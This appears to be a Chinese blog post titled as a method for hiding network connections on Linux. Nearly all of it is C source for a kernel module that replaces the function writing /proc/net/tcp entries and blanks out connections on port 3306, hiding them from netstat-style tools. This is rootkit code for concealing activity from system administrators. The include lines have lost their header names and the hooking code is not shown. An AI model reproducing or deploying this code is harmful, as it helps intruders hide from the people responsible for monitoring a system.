linux中网卡连接方式,Linux下隐藏网络连接的另一种方法

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

MODULE_LICENSE("GPL");

MODULE_AUTHOR("wzt");

__u32 wnps_in_aton(const char *str)

{

unsigned long l;

unsigned int val;

int i;

l = 0;

for (i = 0; i < 4; i++) {

l <<= 8;

if (*str != '\0') {

val = 0;

while (*str != '\0' && *str != '.') {

val *= 10;

val += *str - '0';

str++;

}

l |= val;

if (*str != '\0')

str++;

}

}

return(htonl(l));

}

void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)

{

int timer_active;

unsigned long timer_expires;

struct tcp_sock *tp = tcp_sk(sk);

const struct inet_connection_sock *icsk = inet_csk(sk);

struct inet_sock *inet = inet_sk(sk);

__be32 dest = inet->daddr;

__be32 src = inet->rcv_saddr;

__u16 destp = ntohs(inet->dport);

__u16 srcp = ntohs(inet->sport);

printk("!! in new_get_tcp4_sock.\n");

if (icsk->icsk_pending == ICSK_TIME_RETRANS) {

timer_active    = 1;

timer_expires   = icsk->icsk_timeout;

} else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {

timer_active    = 4;

timer_expires   = icsk->icsk_timeout;

} else if (timer_pending(&sk->sk_timer)) {

timer_active    = 2;

timer_expires   = sk->sk_timer.expires;

} else {

timer_active    = 0;

timer_expires = jiffies;

}

/*

if (src == wnps_in_aton("127.0.0.1")) {

printk("got 127.0.0.1");

return ;

}

*/

if (srcp == 3306 || destp == 3306) {

printk("got 3306!\n");

seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "

"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",

0, 0, 0, 0, 0, 0,

tp->write_seq - tp->snd_una,

sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :

(tp->rcv_nxt - tp->copied_seq),

timer_active,

jiffies_to_clock_t(timer_expires - jiffies),

icsk->icsk_retransmits,

sock_i_uid(sk),

icsk->icsk_probes_out,

sock_i_ino(sk),

atomic_read(&sk->sk_refcnt), sk,

jiffies_to_clock_t(icsk->icsk_rto),

jiffies_to_clock_t(icsk->icsk_ack.ato),

(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,

tp->snd_cwnd,

tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,

len);

}

else {

seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "

"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",

i, src, srcp, dest, destp, sk->sk_state,

tp->write_seq - tp->snd_una,

sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :

(tp->rcv_nxt - tp->copied_seq),

timer_active,

jiffies_to_clock_t(timer_expires - jiffies),

icsk->icsk_retransmits,

sock_i_uid(sk),

icsk->icsk_probes_out,

sock_i_ino(sk),

atomic_read(&sk->sk_refcnt), sk,

jiffies_to_clock_t(icsk->icsk_rto),

jiffies_to_clock_t(icsk->icsk_ack.ato),

(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,

tp->snd_cwnd,

tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,

len);

}

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值